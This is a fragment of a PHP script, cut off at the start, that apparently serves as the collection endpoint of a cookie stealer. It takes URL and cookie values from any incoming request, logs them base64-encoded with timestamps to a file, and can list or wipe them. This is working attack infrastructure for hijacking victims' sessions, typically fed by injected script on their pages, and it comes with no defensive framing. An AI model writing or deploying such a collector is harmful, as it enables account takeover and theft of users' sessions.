storage = $storage; $this->setup(); } protected function setup() { if (!file_exists($this->storage)) { @touch($this->storage); } if (!file_exists($this->storage)) { throw new Exception("Could not create storage file"); } elseif (!is_writable($this->storage)) { throw new Exception("Storage file is not writable"); } } public function saveCookie($url, $data) { $text = time() . '|' . base64_encode($url) . '|' . base64_encode($data); return file_put_contents($this->storage, $text . PHP_EOL, FILE_APPEND); } public function getCookies() { $data = array_filter( explode(PHP_EOL, file_get_contents($this->storage)), function($c) { return !empty($c); } ); $cookies = []; foreach ($data as $line) { $info = explode('|', $line); $time = $info[0]; $url = base64_decode($info[1]); $cookie = base64_decode($info[2]); if (!isset($cookies[$time])) { $cookies[$time] = []; } $cookies[$time][] = (object)[ 'url' => $url, 'cookie' => $cookie ]; } return $cookies; } public function clearCookies() { @unlink($this->storage); } } $cookieStorage = new CookieStorage($storage); if (isset($_REQUEST['clear'])) { $cookieStorage->clearCookies(); header('Location: ' . basename(__FILE__)); die(); } $url = isset($_REQUEST[$paramUrl]) ? trim($_REQUEST[$paramUrl]) : ''; $data = isset($_REQUEST[$paramData]) ? trim($_REQUEST[$paramData]) : ''; if (!empty($url) && !empty($data)) { $cookieStorage->saveCookie($url, $data); die(); } $allCookies = $cookieStorage->getCookies(); ?>